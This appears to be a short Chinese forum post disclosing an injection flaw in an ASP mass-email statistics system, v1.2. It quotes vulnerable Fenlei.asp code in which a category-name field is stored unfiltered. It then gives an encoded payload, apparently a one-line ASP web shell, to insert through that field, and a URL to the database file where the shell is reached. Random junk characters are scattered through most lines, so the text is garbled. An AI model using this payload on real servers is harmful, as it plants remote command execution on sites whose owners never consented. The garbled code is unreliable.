铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

7 y! R1 T$ J+ ~5 n3 g- y) g& e( aIF Request.QueryString("Action")="del" Then
7 L( M9 k; P& F3 }3 ?2 d$ ~ID=Request.QueryString("ID")
4 e/ C" K/ X* x; kIF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
& N. d4 L/ z6 \+ S( G$ l' V1 sTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
( m0 t) K# G; @Sql="Select * From Fenlei Order by id Desc "
8 i: v0 H* }! c* Y- bRs.Open Sql,Conn,1,3
) d7 q: g: O7 E( s/ D. x# JRs.Addnew
* T) y- T& a7 w5 i' v, tRs("Typename")=Tname
- x5 h) N& P9 W# c4 X& c'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
# v& d) }" f/ u4 Q) l' [Rs.Open Sql,Conn,1,1
'略
%>

1 L' W, ?4 }8 q- r! d/ w8 z
: ?, [8 L  @4 \
没有过滤，直接写入数据库。
; E- T* [2 C6 W5 y  A( _+ h, J
利用方法：
( S! T+ z! t+ ]! W% n% t' ^
插入：┼攠數畣整爠煥敵瑳∨≡┩>
# G7 h$ ]3 E9 J) ]! W6 C

连接： http://www.xxx.com/###tongbaner.asa
/ G5 P) A- @. R5 d* C'默认安装文件：
'install.asp
- h+ i4 q! r( K" P. K